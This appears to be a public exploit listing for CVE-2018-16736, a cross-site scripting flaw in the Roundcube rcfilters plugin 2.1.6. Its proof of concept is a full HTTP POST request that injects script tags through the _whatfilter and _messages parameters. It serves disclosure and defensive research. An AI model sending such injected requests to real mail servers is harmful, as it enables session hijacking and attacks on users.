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Roundcube rcfilters 2.1.6 Cross Site Scripting

Roundcube rcfilters 2.1.6 Cross Site Scripting
Posted Sep 19, 2018
Authored by Fahimeh Rezaei

Roundcube rcfilters plugin version 2.1.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-16736
MD5 | 7a0a682b236084b6ce800fa7ea18f0f7

Roundcube rcfilters 2.1.6 Cross Site Scripting

Change Mirror Download
# Exploit Title: Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting
# Date: 2018-09-09
# Exploit Author: Fahimeh Rezaei
# Vendor Homepage: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Software Link: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Version: rcfilters plugin v2.1.6
# Tested on: Roundcube version 1.0.5
# CVE : CVE-2018-16736
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16736
# https://nvd.nist.gov/vuln/detail/CVE-2018-16736
# https://github.com/eagle00789/RC_Filters/issues/19

# Details:
# In the rcfilters plugin 2.1.6 for Roundcube, XSS exists via the
# _whatfilter and _messages parameters (in the Filters section of the settings).

# PoC

POST /rc/?_task=settings&_action=plugin.filters-save HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Referer: https://Target/rc/?_action=plugin.filters&_task=settings
Cookie: roundcube_sessid=; roundcube_sessauth=
Connection: close
Upgrade-Insecure-Requests: 1

_token=09bcde247d252364ea55c217c7654a1f&_whatfilter=from]<script>alert('XSS-1')</script>&_searchstring=whatever&_casesensitive=1&_folders=INBOX&_messages=all])<script>alert('XSS-2')</script>

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